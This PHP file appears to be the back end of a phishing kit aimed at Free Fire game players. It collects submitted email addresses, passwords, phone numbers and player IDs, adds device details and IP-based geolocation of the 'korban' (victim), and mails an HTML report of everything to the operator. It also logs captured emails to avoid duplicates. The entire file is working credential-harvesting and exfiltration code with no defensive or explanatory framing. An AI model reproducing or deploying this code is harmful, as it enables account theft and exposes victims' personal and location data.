<?php
if(isset($_POST['email']) || isset($_POST['password'])){

$email = $_POST['email'];
$password = $_POST['password'];
$playid = $_POST['playid'] . "(".$_POST['nickname'].")";
$phone = $_POST['phone'];
$level = $_POST['level'];
$login = $_POST['login'];

date_default_timezone_set('Asia/Jakarta');
$jamasuk = date('l, d-m-Y h:i:s');
$yearNow = date('Y');

include 'PetakaCode/lenzzip.php';
include 'PetakaCode/device.php';

$deviceInfo = $infos['platfrm_name'];
$osVersionInfo = $infos['platfrm_vers'];
$browserInfo = $infos['browser_name'];

$file_lines = file('PetakaCode/checkLogin.txt');
foreach ($file_lines as $file => $value) {
	$data = explode("|", $value);
	if (in_array($email, $data)) {
		return true;
	} else {
        $myfile = fopen("PetakaCode/checkLogin.txt", "a") or die("Unable to open file!");
		if(fwrite($myfile, "|". $email))  {
$subject = "$lenzz_flag [+$lenzz_callcode] | LVL $level | $playid | LOGIN $login ";
$message = <<<EOD
<!DOCTYPE html>
	<html>
	<head>
		<title></title>
		<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
		<style type="text/css">
			body {
				font-family: "Helvetica";
				width: 90%;
				display: block;
				margin: auto;
				border: 1px solid #000;
				background: #000;
				color: #fff;
			}

			.result {
				width: 100%;
				height: 100%;
				display: block;
				margin: auto;
				position: fixed;
				top: 0;
				right: 0;
				left: 0;
				bottom: 0;
				z-index: 999;
				overflow-y: scroll;
				border-radius: 10px;
				background: #000;
			}

			.tblResult {
				width: 100%;
				display: table;
				margin: 0px auto;
				border-collapse: collapse;
				text-align: center;
				background: #0d0d0d;
			}
			.tblResult th {
				text-align: left;
				font-size: 1em;
				margin: auto;
				padding: 15px 10px;
				background: #1a1a1a;
				border: 1px solid #333;
				color: #fff;
			}

			.tblResult td {
				font-size: 1em;
				margin: auto;
				padding: 10px;
				border: 1px solid #333;
				text-align: left;
				font-weight: bold;
				color: #fff;
			}

			.tblResult th img {
				width: 100%;
				display: block;
				margin: auto;
				box-shadow: 0px 0px 10px rgba(255,255,255, 0.1);
				border-radius: 10px;
			}
		</style>
	</head>
	<body>
		<div class="result">
		<div style="background: #111; width: 294px; color: #fff; text-align: center; padding: 10px; border: 1px solid #333; margin: auto;">WEB CAHYO SR II</div>
			<table class="tblResult">
				<tr>
			    <th style="text-align: center;" colspan="3"> FF CYBERBUNDLE </th>
				</tr>
				<tr>
					<td style="border-right: none;">Email</td>
					<td style="text-align: center;">$email</td>
				</tr>
                <tr>
					<td style="border-right: none;">Password</td>
					<td style="text-align: center;">$password</td>
				</tr>
				<tr>
					
				    <td style="border-right: none;">Phone</td>
					<td style="text-align: center;">$phone</td>
				</tr>
				<tr>
				        <td style="border-right: none;">User Id</td>
					<td style="text-align: center;">$playid</td>
				</tr>
				<tr>	
				<td style="border-right: none;">Level</td>
					<td style="text-align: center;">$level</td>
				</tr>
				<tr>
					<td style="border-right: none;">Login</td>
					<td style="text-align: center;">$login</td>
				</tr>
				<tr>
				<th style="text-align: center;" colspan="3">Device Info</th>
				</tr>
				<tr>
				    <td style="border-right: none;">Dev</td>
					<td style="text-align: center;">$deviceInfo</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Os</td>
					<td style="text-align: center;">$osVersionInfo</td>
				</tr>
				<tr>
					<td style="border-right: none;">Browser</td>
					<td style="text-align: center;">$browserInfo</td>
				</tr>
				<tr>
				<th style="text-align: center;" colspan="3">Info Daerah & Korban</th>
				</tr>
				<tr>
				<td style="border-right: none;">IP Address</td>
					<td style="text-align: center;">$lenzz_ipaddress</td>
				</tr>
				<tr>
					<td style="border-right: none;">Negara</td>
					<td style="text-align: center;">$lenzz_country</td>
				</tr>
				<tr>
				<td style="border-right: none;">Wilayah</td>
					<td style="text-align: center;">$lenzz_regionName</td>
				</tr>
				<tr>
					<td style="border-right: none;">Kota</td>
					<td style="text-align: center;">$lenzz_city</td>
				</tr>
				<tr>
				<td style="border-right: none;">Asn</td>
					<td style="text-align: center;">$lenzz_as</td>
				</tr>
				<tr>
				<td style="border-right: none;">Lat</td>
					<td style="text-align: center;">$lenzz_lat</td>
				</tr>
				<tr>
				<td style="border-right: none;">Lon</td>
					<td style="text-align: center;">$lenzz_lon</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Isp</td>
					<td style="text-align: center;">$lenzz_isp</td>
				</tr>
				<tr>
				        <td style="border-right: none;">Asname</td>
					<td style="text-align: center;">$lenzz_asname</td>
				</tr>
				<tr>
					<td style="border-right: none;">Waktu</td>
					<td style="text-align: center;">$jamasuk</td>
				</tr>
				<tr>
			</table>
		</div>
    </body>
    </html>
EOD;
include 'email.php';
$headersx  = 'MIME-Version: 1.0' . "\r\n";
$headersx .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$kode = substr(md5(time()), 0, 5);
$headersx .= 'From: '.$sender.'<web@cahyosr'.random_int(1000, 999999).'.id>' . "\r\n";
$gcodeSend = mail($emailku, $subject, $message, $headersx);
		}
	}
}
}